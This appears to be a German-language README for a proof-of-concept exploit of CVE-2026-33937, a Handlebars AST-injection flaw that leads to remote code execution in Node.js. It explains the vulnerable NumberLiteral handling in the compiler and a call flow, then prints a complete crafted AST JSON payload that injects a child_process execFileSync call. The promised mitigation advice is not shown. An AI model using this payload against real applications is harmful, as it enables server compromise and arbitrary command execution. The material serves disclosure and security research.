
Proof-of-Concept-Exploit für CVE-2026-33937, eine Handlebars-AST-Injection-Schwachstelle, die zu Remote-Code-Ausführung in Node.js führt. Demonstriert manipulierte AST-Payloads und bietet Anleitungen zur Schadensbegrenzung.
CVE-2026-33937 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE) in Handlebars, die durch unsichere Verarbeitung von Abstract-Syntax-Tree-Eingaben (AST) verursacht wird.
Die Schwachstelle ermöglicht es Angreifern, beliebigen JavaScript-Code einzuschleusen, indem sie ein manipuliertes AST-Objekt an Handlebars.compile() übergeben.
Handlebars.compile() akzeptiert beides:
Wenn ein AST-Objekt bereitgestellt wird, wird die Parsing-Phase übersprungen.
Innerhalb:
lib/handlebars/compiler/javascript-compiler.js
Die Funktion:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
fügt number.value direkt in generierten JavaScript-Code ein, , was zu Code-Injection führt.
Angreifer → Manipuliertes AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral-Injection)
│
▼
Code-Generierung
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}